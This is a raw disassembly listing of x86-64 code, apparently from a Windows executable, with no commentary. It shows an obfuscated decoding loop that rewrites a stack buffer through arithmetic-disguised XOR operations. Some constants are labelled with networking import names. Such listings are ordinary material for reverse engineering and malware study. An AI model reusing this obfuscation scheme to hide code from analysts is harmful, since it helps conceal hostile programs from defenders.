mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9c63
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ca4b4
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9c63
inc rax
cmp r8, rax
jne 0x1400ca4d8
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x30
add bl, dl
jmp 0x1400ca686
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ca4ff
lea ecx, [r11 - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x78
add r8, r9
jmp 0x1400ca654
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ca0bd
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x1400c9c63
movzx edi, r11b
lea edx, [rdi + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, byte [rbp + r11 + 0x1a0]
sub bl, al
sub bl, 0x50
add bl, r10b
add bl, dl
add dil, 0xe
movzx eax, dil
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x62
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x1a0], cl
add r8, r9
jmp 0x1400ca654
lea ecx, [r11 - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 0x74]
jmp 0x1400ca686
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400ca6b2
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x2e
add r8, r9
jmp 0x1400ca654
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1400c9c63
movzx edi, r11b
lea edx, [rdi - 0xe]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add dil, 0x52
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x3e
add dil, r10b
mov byte [rbp + r11 + 0x1a0], dil
inc r9
dec r11
inc r11
jmp 0x1400c9c63
lea rdx, [r11 + r15]
movzx eax, dil
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400c9c63
lea rcx, [r11 + r13]
movzx r10d, dil
and dil, cl
add dil, dil
movzx ebx, r10b
sub bl, dil
sub bl, 0x7e
add bl, cl
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x1a0], al
inc r9
add rax, r9
sub r11, rax
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x1a0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9c63
lea rcx, [r11 + r12]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x36
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c9c63
add r11b, 0x56
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5a
jmp 0x1400c9c60
sub r11b, 0x66
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x36
jmp 0x1400c9c50
mov eax, dword [rbp + 0x16c0ec8]
jmp 0x1400ca773
mov eax, dword [rbp + 0x14fa9a6]
jmp 0x1400ca773
mov eax, dword [rbp + 0x1a0]
cdqe
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x58]
lea rdx, [rbp - 0x60]
call fcn.14005a1a0
mov rcx, rax
call fcn.14005a210
nop
lea rcx, [rbp + 0xa70]
call fcn.140003430
nop
lea rcx, [rbp + 0xa28]
call fcn.140002490
nop
lea rcx, [rbp + 0xa48]
call fcn.140002490
jmp 0x1400c5152
call fcn.140069350
int3